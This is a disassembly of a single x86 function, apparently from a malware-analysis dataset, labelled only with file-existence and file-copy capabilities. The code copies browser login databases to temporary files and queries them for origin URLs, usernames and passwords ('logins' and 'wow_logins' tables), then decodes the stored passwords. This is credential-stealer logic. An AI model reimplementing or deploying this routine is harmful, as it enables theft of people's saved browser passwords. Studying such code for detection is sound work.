Function at 0x40bc0d
Capabilities:
Check if file exists
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
and dword [ebp - 0x14], 0
and dword [ebp - 0x18], 0
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
mov dword [ebp - 0x30], ebx
call fcn.00410c8a
mov edi, 0x4176a4
lea ecx, [ebp - 8]
push edi
call fcn.0040357c
push 8
pop edx
lea ecx, [ebp - 0x2c]
call fcn.004035b9
push eax
lea ecx, [ebp - 8]
call fcn.00403447
mov ecx, dword [ebp - 0x2c]
call fcn.00405feb
mov esi, str..tmp
lea ecx, [ebp - 8]
push esi
call fcn.0040357c
push 0x1a
pop edx
lea ecx, [ebp - 0x10]
call fcn.00410c8a
push edi
lea ecx, [ebp - 0x10]
call fcn.0040357c
push 8
pop edx
lea ecx, [ebp - 0x2c]
call fcn.004035b9
push eax
lea ecx, [ebp - 0x10]
call fcn.00403447
mov ecx, dword [ebp - 0x2c]
call fcn.00405feb
push esi
lea ecx, [ebp - 0x10]
call fcn.0040357c
cmp byte [ebp + 0x10], 0
lea ecx, [ebp - 0x2c]
je 0x40bcac
push 0x1a
jmp 0x40bcae
push 0x1c
pop edx
call fcn.00410c8a
push eax
lea ecx, [ebp - 0x14]
call fcn.00403549
mov ecx, dword [ebp - 0x2c]
call fcn.00405feb
push dword [ebp + 8]
lea ecx, [ebp - 0x14]
call fcn.0040357c
cmp byte [ebp + 0x10], 0
lea ecx, [ebp + 0x10]
je 0x40bcdd
push 0x1a
jmp 0x40bcdf
push 0x1c
pop edx
call fcn.00410c8a
push eax
lea ecx, [ebp - 0x18]
call fcn.00403549
mov ecx, dword [ebp + 0x10]
call fcn.00405feb
push dword [ebp + 0xc]
lea ecx, [ebp - 0x18]
call fcn.0040357c
push dword [ebp - 0x14]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
call edi
mov esi, dword [ebp - 0x18]
test eax, eax
je 0x40bd8d
push esi
call edi
test eax, eax
je 0x40bd8d
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push dword [ebp - 8]
push dword [ebp - 0x14]
call edi
test eax, eax
je 0x40bd8d
push 0
push dword [ebp - 0x10]
push esi
call edi
test eax, eax
je 0x40bd8d
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x14]
call fcn.00403549
lea eax, [ebp + 0x10]
push eax
lea ecx, [ebp - 0x14]
call fcn.00403666
lea ecx, [ebp - 0x34]
push ecx
push dword [eax]
call dword [ebx + 0x30]
pop ecx
pop ecx
mov ecx, dword [ebp + 0x10]
mov edi, eax
call fcn.00405feb
test edi, edi
je 0x40bdb7
push ecx
lea eax, [ebp - 8]
mov ecx, esp
push eax
call fcn.0040373f
call fcn.0041142a
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.0040373f
call fcn.0041142a
pop ecx
xor edi, edi
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov ecx, esi
call fcn.00405feb
mov ecx, dword [ebp - 0x14]
call fcn.00405feb
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
and dword [ebp - 0x1c], 0
lea eax, [ebp + 0xc]
and dword [ebp + 0xc], 0
push eax
lea eax, [ebp - 0x1c]
push eax
push ecx
push ecx
mov ecx, esi
call fcn.0040c63e
xor edi, edi
add esp, 0x10
inc edi
test eax, eax
je 0x40c017
cmp byte [ebp + 0x14], 0
lea eax, [ebp - 0xc]
push 0
push eax
mov ecx, str.select_signon_realm__origin_url__username_value__password_value_from_wow_logins
mov eax, str.select_signon_realm__origin_url__username_value__password_value_from_logins
push 0xffffffffffffffff
cmovne eax, ecx
push eax
push dword [ebp - 0x34]
call dword [ebx + 0x38]
add esp, 0x14
test eax, eax
jne 0x40c017
push dword [ebp - 0xc]
call dword [ebx + 0x44]
pop ecx
cmp eax, 0x64
jne 0x40c00f
mov esi, ebx
mov ecx, edi
call fcn.00405f68
mov ecx, edi
mov dword [ebp + 0x14], eax
call fcn.00405f68
xor ebx, ebx
mov edi, eax
inc ebx
mov dword [ebp + 8], edi
mov ecx, ebx
call fcn.00405f68
mov ecx, ebx
mov dword [ebp - 0x2c], eax
call fcn.00405f68
push 0
push dword [ebp - 0xc]
mov dword [ebp + 0x10], eax
call dword [esi + 0x40]
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40be74
push eax
lea ecx, [ebp - 0x38]
call fcn.004034d1
push eax
lea ecx, [ebp + 8]
call fcn.00403237
mov ecx, dword [ebp - 0x38]
call fcn.00405feb
mov edi, dword [ebp + 8]
push ebx
push dword [ebp - 0xc]
call dword [esi + 0x40]
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40be9c
push eax
lea ecx, [ebp - 0x3c]
call fcn.004034d1
push eax
lea ecx, [ebp - 0x2c]
call fcn.00403237
mov ecx, dword [ebp - 0x3c]
call fcn.00405feb
push 2
push dword [ebp - 0xc]
call dword [esi + 0x40]
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40bec5
push eax
lea ecx, [ebp - 0x40]
call fcn.004034d1
push eax
lea ecx, [ebp + 0x10]
call fcn.00403237
mov ecx, dword [ebp - 0x40]
call fcn.00405feb
sub esp, 0xc
push dword [ebp + 0xc]
push dword [ebp - 0x1c]
push 3
push dword [ebp - 0xc]
call dword [esi + 0x5c]
push 3
push dword [ebp - 0xc]
mov ebx, eax
call dword [esi + 0x54]
add esp, 0x10
mov edx, ebx
mov ecx, eax
call fcn.0040c6bd
add esp, 0x14
lea ecx, [ebp - 0x44]
push eax
call fcn.004034d1
push eax
lea ecx, [ebp + 0x14]
call fcn.00403237
mov ecx, dword [ebp - 0x44]
call fcn.00405feb
lea ecx, [ebp + 0x10]
call fcn.0040319e
test eax, eax
jg 0x40bf25
lea ecx, [ebp + 0x14]
call fcn.0040319e
test eax, eax
jle 0x40bfd7
xor ebx, ebx
lea ecx, [ebp + 8]
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
call fcn.0040319e
test eax, eax
jle 0x40bf5c
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp + 8]
call fcn.004031af
push eax
lea ecx, [ebp - 0x54]
call fcn.00403549
mov ecx, dword [ebp - 0x20]
call fcn.00405feb
mov dword [ebp - 0x20], ebx
lea ecx, [ebp + 0x10]
call fcn.0040319e
test eax, eax
jle 0x40bf88
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp + 0x10]
call fcn.004031af
push eax
lea ecx, [ebp - 0x50]
call fcn.00403549
mov ecx, dword [ebp - 0x24]
call fcn.00405feb
mov dword [ebp - 0x24], ebx
lea ecx, [ebp + 0x14]
call fcn.0040319e
test eax, eax
je 0x40bfb4
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp + 0x14]
call fcn.004031af
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403549
mov ecx, dword [ebp - 0x28]
call fcn.00405feb
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp + 0x18]
sub esp, 0x10
mov dword [ebp - 0x48], eax
mov ecx, esp
lea eax, [ebp - 0x54]
push eax
call fcn.00401ff2
mov ecx, esi
call fcn.00402028
lea ecx, [ebp - 0x54]
call fcn.00401441
mov ecx, dword [ebp + 0x10]
call fcn.00405feb
mov ecx, dword [ebp - 0x2c]
call fcn.00405feb
mov ecx, edi
call fcn.00405feb
mov ecx, dword [ebp + 0x14]
call fcn.00405feb
push dword [ebp - 0xc]
call dword [esi + 0x44]
pop ecx
push 1
pop edi
cmp eax, 0x64
je 0x40be1b
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x30]
test eax, eax
jne 0x40bd6b
push dword [ebp - 0xc]
call dword [ebx + 0x60]
pop ecx
push dword [ebp - 0x34]
call dword [ebx + 0x34]
lea eax, [ebp - 8]
mov ecx, esp
push eax
call fcn.0040373f
call fcn.0041142a
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.0040373f
call fcn.0041142a
pop ecx
jmp 0x40bd8f